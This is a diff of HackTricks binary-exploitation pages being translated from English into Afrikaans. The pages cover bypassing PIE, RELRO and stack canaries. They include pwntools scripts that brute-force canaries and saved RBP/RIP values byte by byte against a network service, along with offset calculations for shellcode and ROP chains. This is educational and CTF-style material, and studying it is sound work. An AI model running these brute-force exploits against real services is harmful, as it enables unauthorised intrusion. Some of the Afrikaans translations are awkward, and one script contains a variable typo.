Die truuk om hierdie binêre te benut, lê in die benutting van die **relatiewe adresse**—die afstande tussen dele van die program bly dieselfde selfs al verander die absolute lokasies. Om **PIE te omseil, hoef jy net een adres te lek**, tipies vanaf die **stapel** deur gebruik te maak van kwesbaarhede soos formaatstring-aanvalle. Sodra jy 'n adres het, kan jy ander bereken deur hul **vaste afstande**.
A helpful hint in exploiting PIE binaries is that their **base address typically ends in 000** due to memory pages being the units of randomization, sized at 0x1000 bytes. This alignment can be a critical **check if an exploit isn't working** as expected, indicating whether the correct base address has been identified.\
Or you can use this for your exploit, if you leak that an address is located at **`0x649e1024`** you know that the **base address is `0x649e1000`** and from the you can just **calculate offsets** of functions and locations.
'n Nuttige wenk in die benutting van PIE binêre is dat hul **basisadres tipies eindig op 000** as gevolg van geheuebladsye wat die eenhede van randomisering is, met 'n grootte van 0x1000 bytes. Hierdie uitlijning kan 'n kritieke **kontrole wees as 'n ontploffing nie werk** soos verwag nie, wat aandui of die korrekte basisadres geïdentifiseer is.\
Of jy kan dit gebruik vir jou ontploffing, as jy lek dat 'n adres geleë is by **`0x649e1024`** weet jy dat die **basisadres `0x649e1000` is** en van daar af kan jy net **afstande** van funksies en lokasies bereken.
## Bypasses
## Omseilings
In order to bypass PIE it's needed to **leak some address of the loaded** binary, there are some options for this:
Om PIE te omseil, is dit nodig om **'n adres van die gelaaide** binêre te lek, daar is 'n paar opsies hiervoor:
- **Disabled ASLR**: If ASLR is disabled a binary compiled with PIE is always **going to be loaded in the same address**, therefore **PIE is going to be useless** as the addresses of the objects are always going to be in the same place.
- Be **given** the leak (common in easy CTF challenges, [**check this example**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **Brute-force EBP and EIP values** in the stack until you leak the correct ones:
- **Gedeaktiveerde ASLR**: As ASLR gedeaktiveer is, word 'n binêre wat met PIE gecompileer is altyd **in dieselfde adres gelaai**, daarom **sal PIE nutteloos wees** aangesien die adresse van die objekte altyd op dieselfde plek sal wees.
- Wees **gegee** die lek (algemeen in maklike CTF-uitdagings, [**kyk hierdie voorbeeld**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **Brute-force EBP en EIP waardes** in die stapel totdat jy die korrekte lek:
{{#ref}}
bypassing-canary-and-pie.md
{{#endref}}
- Use an **arbitrary read** vulnerability such as [**format string**](../../format-strings/) to leak an address of the binary (e.g. from the stack, like in the previous technique) to get the base of the binary and use offsets from there. [**Find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
- Gebruik 'n **arbitraire lees** kwesbaarheid soos [**formaatstring**](../../format-strings/) om 'n adres van die binêre te lek (bv. vanaf die stapel, soos in die vorige tegniek) om die basis van die binêre te kry en afstande van daar af te gebruik. [**Vind 'n voorbeeld hier**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## References
## Verwysings
- [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)

View File

@ -1,56 +1,55 @@
# BF Addresses in the Stack
# BF Adres in die Stapel
{{#include ../../../banners/hacktricks-training.md}}
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
**As jy 'n binêre teëkom wat deur 'n canary en PIE (Position Independent Executable) beskerm word, moet jy waarskynlik 'n manier vind om dit te omseil.**
![](<../../../images/image (865).png>)
> [!NOTE]
> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
> Let daarop dat **`checksec`** dalk nie sal vind dat 'n binêre deur 'n canary beskerm word as dit staties gecompileer is nie en dit nie in staat is om die funksie te identifiseer.\
> Jy kan egter dit handmatig opgemerk as jy vind dat 'n waarde in die stapel gestoor word aan die begin van 'n funksie-aanroep en hierdie waarde voor die uitgang nagegaan word.
## Brute-Force Addresses
## Brute-Force Adres
In order to **bypass the PIE** you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\
For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.**
Om die **PIE te omseil** moet jy **'n adres lek**. En as die binêre nie enige adresse lek nie, is die beste manier om dit te doen om die **RBP en RIP wat in die stapel gestoor is** in die kwesbare funksie te brute-force.\
Byvoorbeeld, as 'n binêre beskerm word met beide 'n **canary** en **PIE**, kan jy begin om die canary te brute-force, dan sal die **volgende** 8 Bytes (x64) die gestoor **RBP** wees en die **volgende** 8 Bytes sal die gestoor **RIP** wees.
> [!TIP]
> It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case.
To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:
> Dit word veronderstel dat die terugadres binne die stapel aan die hoof binêre kode behoort, wat, as die kwesbaarheid in die binêre kode geleë is, gewoonlik die geval sal wees.
Om die RBP en die RIP van die binêre te brute-force, kan jy uitvind dat 'n geldige geraamde byte korrek is as die program iets uitset of dit net nie crash nie. Die **dieselfde funksie** soos die wat voorsien is vir die brute-forcing van die canary kan gebruik word om die RBP en die RIP te brute-force:
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
# CANARY BF HERE
canary_offset = 1176
@ -67,30 +66,25 @@ print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
```
Die laaste ding wat jy nodig het om die PIE te oorwin, is om **nuttige adresse uit die gelekte** adresse te bereken: die **RBP** en die **RIP**.
The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**.
From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP:
Van die **RBP** kan jy bereken **waar jy jou shell in die stapel skryf**. Dit kan baie nuttig wees om te weet waar jy die string _"/bin/sh\x00"_ binne die stapel gaan skryf. Om die afstand tussen die gelekte RBP en jou shellcode te bereken, kan jy net 'n **breakpoint plaas na die lekkasie van die RBP** en kyk **waar jou shellcode geleë is**, dan kan jy die afstand tussen die shellcode en die RBP bereken:
```python
INI_SHELLCODE = RBP - 1152
```
From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\
To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses:
Van die **RIP** kan jy die **basisadres van die PIE-binary** bereken wat jy gaan benodig om 'n **geldige ROP-ketting** te skep.\
Om die basisadres te bereken, doen net `objdump -d vunbinary` en kyk na die ontsyferde jongste adresse:
![](<../../../images/image (479).png>)
In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked `0x562002970ecf` the base address is `0x562002970000`
In daardie voorbeeld kan jy sien dat slegs **1 Byte en 'n half benodig word** om al die kode te lokaliseer, dan sal die basisadres in hierdie situasie die **gelekte RIP wees maar eindig op "000"**. Byvoorbeeld, as jy `0x562002970ecf` gelek het, is die basisadres `0x562002970000`
```python
elf.address = RIP - (RIP & 0xfff)
```
## Verbeterings
## Improvements
Volgens [**sommige waarnemings van hierdie pos**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), is dit moontlik dat wanneer RBP en RIP waardes gelek word, die bediener nie sal crash met sommige waardes wat nie die korrekte is nie en die BF skrip sal dink hy het die goeie gekry. Dit is omdat dit moontlik is dat **sommige adresse eenvoudig nie dit sal breek nie, selfs al is daar nie presies die korrekte nie**.
According to [**some observation from this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), it's possible that when leaking RBP and RIP values, the server won't crash with some values which aren't the correct ones and the BF script will think he got the good ones. This is because it's possible that **some addresses just won't break it even if there aren't exactly the correct ones**.
According to that blog post it's recommended to add a short delay between requests to the server is introduced.
Volgens daardie blogpos word dit aanbeveel om 'n kort vertraging tussen versoeke aan die bediener in te voer.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,32 +4,30 @@
## Relro
**RELRO** stands for **Relocation Read-Only**, and it's a security feature used in binaries to mitigate the risks associated with **GOT (Global Offset Table)** overwrites. There are two types of **RELRO** protections: (1) **Partial RELRO** and (2) **Full RELRO**. Both of them reorder the **GOT** and **BSS** from ELF files, but with different results and implications. Speciifically, they place the **GOT** section _before_ the **BSS**. That is, **GOT** is at lower addresses than **BSS**, hence making it impossible to overwrite **GOT** entries by overflowing variables in the **BSS** (rembember writing into memory happens from lower toward higher addresses).
**RELRO** staan vir **Relocation Read-Only**, en dit is 'n sekuriteitskenmerk wat in binêre lêers gebruik word om die risiko's wat verband hou met **GOT (Global Offset Table)** oorskrywings te verminder. Daar is twee tipes **RELRO** beskermings: (1) **Deeltelike RELRO** en (2) **Volledige RELRO**. Albei herskik die **GOT** en **BSS** van ELF-lêers, maar met verskillende resultate en implikasies. Spesifiek plaas hulle die **GOT** afdeling _voor_ die **BSS**. Dit wil sê, **GOT** is op laer adresse as **BSS**, wat dit onmoontlik maak om **GOT** inskrywings te oorskry deur oorloop van veranderlikes in die **BSS** (onthou dat skryf in geheue van laer na hoër adresse gebeur).
Let's break down the concept into its two distinct types for clarity.
Kom ons breek die konsep af in sy twee duidelike tipes vir duidelikheid.
### **Partial RELRO**
### **Deeltelike RELRO**
**Partial RELRO** takes a simpler approach to enhance security without significantly impacting the binary's performance. Partial RELRO makes **the .got read only (the non-PLT part of the GOT section)**. Bear in mind that the rest of the section (like the .got.plt) is still writeable and, therefore, subject to attacks. This **doesn't prevent the GOT** to be abused **from arbitrary write** vulnerabilities.
**Deeltelike RELRO** neem 'n eenvoudiger benadering om sekuriteit te verbeter sonder om die binêre se prestasie aansienlik te beïnvloed. Deeltelike RELRO maak **die .got slegs leesbaar (die nie-PLT deel van die GOT afdeling)**. Hou in gedagte dat die res van die afdeling (soos die .got.plt) steeds skryfbaar is en, gevolglik, onderhewig is aan aanvalle. Dit **verhoed nie dat die GOT** misbruik word **van arbitrêre skryf** kwesbaarhede nie.
Note: By default, GCC compiles binaries with Partial RELRO.
Nota: Standaard kompileer GCC binêre lêers met Deeltelike RELRO.
### **Full RELRO**
### **Volledige RELRO**
**Full RELRO** steps up the protection by **making the entire GOT (both .got and .got.plt) and .fini_array** section completely **read-only.** Once the binary starts all the function addresses are resolved and loaded in the GOT, then, GOT is marked as read-only, effectively preventing any modifications to it during runtime.
**Volledige RELRO** verhoog die beskerming deur **die hele GOT (both .got en .got.plt) en .fini_array** afdeling heeltemal **slegs leesbaar** te maak. Sodra die binêre begin, word al die funksie adresse opgelos en in die GOT gelaai, dan word GOT as slegs leesbaar gemerk, wat effektief enige wysigings aan dit tydens uitvoering voorkom.
However, the trade-off with Full RELRO is in terms of performance and startup time. Because it needs to resolve all dynamic symbols at startup before marking the GOT as read-only, **binaries with Full RELRO enabled may experience longer load times**. This additional startup overhead is why Full RELRO is not enabled by default in all binaries.
It's possible to see if Full RELRO is **enabled** in a binary with:
Die handelsoffensief met Volledige RELRO is egter in terme van prestasie en opstarttyd. Omdat dit al die dinamiese simbole by opstart moet oplos voordat dit die GOT as slegs leesbaar merk, **kan binêre lêers met Volledige RELRO geaktiveer langer laai tye ervaar**. Hierdie ekstra opstartlas is waarom Volledige RELRO nie standaard in alle binêre lêers geaktiveer is nie.
Dit is moontlik om te sien of Volledige RELRO **geaktiveer** is in 'n binêre met:
```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
```
## Bypass
If Full RELRO is enabled, the only way to bypass it is to find another way that doesn't need to write in the GOT table to get arbitrary execution.
As Full RELRO geaktiveer is, is die enigste manier om dit te omseil om 'n ander manier te vind wat nie nodig is om in die GOT tabel te skryf om arbitrêre uitvoering te verkry nie.
Note that **LIBC's GOT is usually Partial RELRO**, so it can be modified with an arbitrary write. More information in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
Let daarop dat **LIBC se GOT gewoonlik Partial RELRO is**, so dit kan met 'n arbitrêre skrywe gewysig word. Meer inligting in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,73 +1,73 @@
# Stack Canaries
# Stap Canaries
{{#include ../../../banners/hacktricks-training.md}}
## **StackGuard and StackShield**
## **StackGuard en StackShield**
**StackGuard** inserts a special value known as a **canary** before the **EIP (Extended Instruction Pointer)**, specifically `0x000aff0d` (representing null, newline, EOF, carriage return) to protect against buffer overflows. However, functions like `recv()`, `memcpy()`, `read()`, and `bcopy()` remain vulnerable, and it does not protect the **EBP (Base Pointer)**.
**StackGuard** voeg 'n spesiale waarde bekend as 'n **canary** voor die **EIP (Extended Instruction Pointer)** in, spesifiek `0x000aff0d` (wat null, newline, EOF, carriage return verteenwoordig) om teen buffer oorgange te beskerm. Tog bly funksies soos `recv()`, `memcpy()`, `read()`, en `bcopy()` kwesbaar, en dit beskerm nie die **EBP (Base Pointer)** nie.
**StackShield** takes a more sophisticated approach than StackGuard by maintaining a **Global Return Stack**, which stores all return addresses (**EIPs**). This setup ensures that any overflow does not cause harm, as it allows for a comparison between stored and actual return addresses to detect overflow occurrences. Additionally, StackShield can check the return address against a boundary value to detect if the **EIP** points outside the expected data space. However, this protection can be circumvented through techniques like Return-to-libc, ROP (Return-Oriented Programming), or ret2ret, indicating that StackShield also does not protect local variables.
**StackShield** neem 'n meer gesofistikeerde benadering as StackGuard deur 'n **Global Return Stack** te handhaaf, wat alle terugkeer adresse (**EIPs**) stoor. Hierdie opstelling verseker dat enige oorgang nie skade aanrig nie, aangesien dit 'n vergelyking tussen gestoor en werklike terugkeer adresse toelaat om oorgang voorvalle te detecteer. Boonop kan StackShield die terugkeer adres teen 'n grenswaarde nagaan om te bepaal of die **EIP** buite die verwagte dataruimte wys. Tog kan hierdie beskerming omseil word deur tegnieke soos Return-to-libc, ROP (Return-Oriented Programming), of ret2ret, wat aandui dat StackShield ook nie plaaslike veranderlikes beskerm nie.
## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
This mechanism places a **canary** before the **EBP**, and reorganizes local variables to position buffers at higher memory addresses, preventing them from overwriting other variables. It also securely copies arguments passed on the stack above local variables and uses these copies as arguments. However, it does not protect arrays with fewer than 8 elements or buffers within a user's structure.
Hierdie meganisme plaas 'n **canary** voor die **EBP**, en reorganiseer plaaslike veranderlikes om buffers op hoër geheue adresse te posisioneer, wat voorkom dat hulle ander veranderlikes oorskry. Dit kopieer ook veilig argumente wat op die stap bo plaaslike veranderlikes oorgedra word en gebruik hierdie kopieë as argumente. Tog beskerm dit nie arrays met minder as 8 elemente of buffers binne 'n gebruiker se struktuur nie.
The **canary** is a random number derived from `/dev/urandom` or a default value of `0xff0a0000`. It is stored in **TLS (Thread Local Storage)**, allowing shared memory spaces across threads to have thread-specific global or static variables. These variables are initially copied from the parent process, and child processes can alter their data without affecting the parent or siblings. Nevertheless, if a **`fork()` is used without creating a new canary, all processes (parent and children) share the same canary**, making it vulnerable. On the **i386** architecture, the canary is stored at `gs:0x14`, and on **x86_64**, at `fs:0x28`.
Die **canary** is 'n ewekansige getal wat afgelei is van `/dev/urandom` of 'n standaardwaarde van `0xff0a0000`. Dit word gestoor in **TLS (Thread Local Storage)**, wat deelbare geheue ruimtes oor threads toelaat om thread-spesifieke globale of statiese veranderlikes te hê. Hierdie veranderlikes word aanvanklik van die ouer proses gekopieer, en kind proses kan hul data verander sonder om die ouer of broers en susters te beïnvloed. Nietemin, as 'n **`fork()` gebruik word sonder om 'n nuwe canary te skep, deel alle prosesse (ouer en kinders) dieselfde canary**, wat dit kwesbaar maak. Op die **i386** argitektuur, word die canary gestoor by `gs:0x14`, en op **x86_64**, by `fs:0x28`.
This local protection identifies functions with buffers vulnerable to attacks and injects code at the start of these functions to place the canary, and at the end to verify its integrity.
Hierdie plaaslike beskerming identifiseer funksies met buffers wat kwesbaar is vir aanvalle en spuit kode aan die begin van hierdie funksies om die canary te plaas, en aan die einde om sy integriteit te verifieer.
When a web server uses `fork()`, it enables a brute-force attack to guess the canary byte by byte. However, using `execve()` after `fork()` overwrites the memory space, negating the attack. `vfork()` allows the child process to execute without duplication until it attempts to write, at which point a duplicate is created, offering a different approach to process creation and memory handling.
Wanneer 'n webbediener `fork()` gebruik, stel dit 'n brute-force aanval in staat om die canary byte vir byte te raai. Tog, die gebruik van `execve()` na `fork()` oorskry die geheue ruimte, wat die aanval ontken. `vfork()` laat die kind proses toe om uit te voer sonder duplisering totdat dit probeer om te skryf, op watter punt 'n duplikaat geskep word, wat 'n ander benadering tot proses skepping en geheue hantering bied.
### Lengths
### Lengtes
In `x64` binaries, the canary cookie is an **`0x8`** byte qword. The **first seven bytes are random** and the last byte is a **null byte.**
In `x64` binêre, is die canary koekie 'n **`0x8`** byte qword. Die **eerste sewe bytes is ewekansig** en die laaste byte is 'n **null byte.**
In `x86` binaries, the canary cookie is a **`0x4`** byte dword. The f**irst three bytes are random** and the last byte is a **null byte.**
In `x86` binêre, is die canary koekie 'n **`0x4`** byte dword. Die **eerste drie bytes is ewekansig** en die laaste byte is 'n **null byte.**
> [!CAUTION]
> The least significant byte of both canaries is a null byte because it'll be the first in the stack coming from lower addresses and therefore **functions that read strings will stop before reading it**.
> Die minste betekenisvolle byte van beide canaries is 'n null byte omdat dit die eerste in die stap sal wees wat van laer adresse kom en daarom **funksies wat strings lees sal stop voordat dit dit lees**.
## Bypasses
## Omseilings
**Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value.
**Lek die canary** en oorskry dit dan (bv. buffer overflow) met sy eie waarde.
- If the **canary is forked in child processes** it might be possible to **brute-force** it one byte at a time:
- As die **canary in kind prosesse gefork is** kan dit moontlik wees om dit **brute-force** een byte op 'n slag:
{{#ref}}
bf-forked-stack-canaries.md
{{#endref}}
- If there is some interesting **leak or arbitrary read vulnerability** in the binary it might be possible to leak it:
- As daar 'n interessante **lek of arbitrêre lees kwesbaarheid** in die binêre is, kan dit moontlik wees om dit te lek:
{{#ref}}
print-stack-canary.md
{{#endref}}
- **Overwriting stack stored pointers**
- **Oorskry stack gestoor pointers**
The stack vulnerable to a stack overflow might **contain addresses to strings or functions that can be overwritten** in order to exploit the vulnerability without needing to reach the stack canary. Check:
Die stap wat kwesbaar is vir 'n stap oorgang kan **adresse na strings of funksies bevat wat oorgeskryf kan word** om die kwesbaarheid te benut sonder om die stack canary te bereik. Kontroleer:
{{#ref}}
../../stack-overflow/pointer-redirecting.md
{{#endref}}
- **Modifying both master and thread canary**
- **Wysig beide meester en thread canary**
A buffer **overflow in a threaded function** protected with canary can be used to **modify the master canary of the thread**. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).
'n Buffer **oorgang in 'n gedrade funksie** wat met canary beskerm word, kan gebruik word om die **meester canary van die thread** te **wysig**. As gevolg hiervan is die versagting nutteloos omdat die kontrole met twee canaries wat dieselfde is (alhoewel gewysig) gebruik word.
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Boonop kan 'n buffer **oorgang in 'n gedrade funksie** wat met canary beskerm word, gebruik word om die **meester canary wat in die TLS gestoor is** te **wysig**. Dit is omdat dit moontlik mag wees om die geheueposisie te bereik waar die TLS gestoor is (en dus, die canary) via 'n **bof in die stap** van 'n thread.\
As gevolg hiervan is die versagting nutteloos omdat die kontrole met twee canaries wat dieselfde is (alhoewel gewysig) gebruik word.\
Hierdie aanval word in die skrywe uitgevoer: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
Kontroleer ook die aanbieding van [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) wat noem dat gewoonlik die **TLS** gestoor word deur **`mmap`** en wanneer 'n **stap** van **thread** geskep word, dit ook deur `mmap` gegenereer word volgens dit, wat die oorgang kan toelaat soos in die vorige skrywe gewys.
- **Modify the GOT entry of `__stack_chk_fail`**
- **Wysig die GOT inskrywing van `__stack_chk_fail`**
If the binary has Partial RELRO, then you can use an arbitrary write to modify the **GOT entry of `__stack_chk_fail`** to be a dummy function that does not block the program if the canary gets modified.
As die binêre Partial RELRO het, kan jy 'n arbitrêre skrywe gebruik om die **GOT inskrywing van `__stack_chk_fail`** te wysig na 'n dummy funksie wat nie die program blokkeer as die canary gewysig word nie.
This attack is performed in the writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
Hierdie aanval word in die skrywe uitgevoer: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
## References
## Verwysings
- [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html)
- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)

View File

@ -2,55 +2,54 @@
{{#include ../../../banners/hacktricks-training.md}}
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
**As jy 'n binêre teenkom wat deur 'n kanarie en PIE (Position Independent Executable) beskerm word, moet jy waarskynlik 'n manier vind om dit te omseil.**
![](<../../../images/image (865).png>)
> [!NOTE]
> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
> Let daarop dat **`checksec`** dalk nie sal vind dat 'n binêre deur 'n kanarie beskerm word nie as dit staties gecompileer is en nie in staat is om die funksie te identifiseer nie.\
> Jy kan egter dit handmatig opgemerk as jy vind dat 'n waarde in die stapel gestoor word aan die begin van 'n funksie-aanroep en hierdie waarde voor die uitgang nagegaan word.
## Brute force Canary
## Brute force Kanarie
The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**.
Die beste manier om 'n eenvoudige kanarie te omseil is as die binêre 'n program is wat **kindproses elke keer fork wanneer jy 'n nuwe verbinding met dit maak** (netwerkdiens), want elke keer as jy met dit verbind, **sal dieselfde kanarie gebruik word**.
Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**):
Dan is die beste manier om die kanarie te omseil net om dit **brute-force char vir char** te doen, en jy kan uitvind of die geraamde kanarie-byte korrek was deur te kyk of die program gecrash het of sy gewone vloei voortgaan. In hierdie voorbeeld **brute-forces die funksie 'n 8 Bytes kanarie (x64)** en onderskei tussen 'n korrek geraamde byte en 'n slegte byte net deur **te kyk** of 'n **antwoord** deur die bediener teruggestuur word (nog 'n manier in **ander situasie** kan wees om 'n **try/except** te gebruik):
### Example 1
This example is implemented for 64bits but could be easily implemented for 32 bits.
### Voorbeeld 1
Hierdie voorbeeld is geïmplementeer vir 64-bits maar kan maklik vir 32-bits geïmplementeer word.
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
@ -58,43 +57,41 @@ print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
### Voorbeeld 2
### Example 2
This is implemented for 32 bits, but this could be easily changed to 64bits.\
Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.
Dit is geïmplementeer vir 32 bits, maar dit kan maklik verander word na 64 bits.\
Let ook daarop dat die **program verwag eers 'n byte om die grootte van die invoer aan te dui** en die payload.
```python
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
@ -104,18 +101,17 @@ target = process('./feedme')
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
## Draad
## Threads
Drade van dieselfde proses sal ook **diezelfde canary-token deel**, daarom sal dit moontlik wees om 'n canary te **brute-forc**e as die binêre 'n nuwe draad genereer elke keer as 'n aanval plaasvind.&#x20;
Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens.&#x20;
Boonop kan 'n buffer **overflow in 'n gedrade funksie** wat met canary beskerm word, gebruik word om die **master canary wat in die TLS gestoor is, te verander**. Dit is omdat dit moontlik mag wees om die geheueposisie te bereik waar die TLS gestoor is (en dus, die canary) via 'n **bof in die stapel** van 'n draad.\
As gevolg hiervan is die mitigering nutteloos omdat die kontrole gebruik word met twee canaries wat dieselfde is (alhoewel gewysig).\
Hierdie aanval word uitgevoer in die skrywe: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
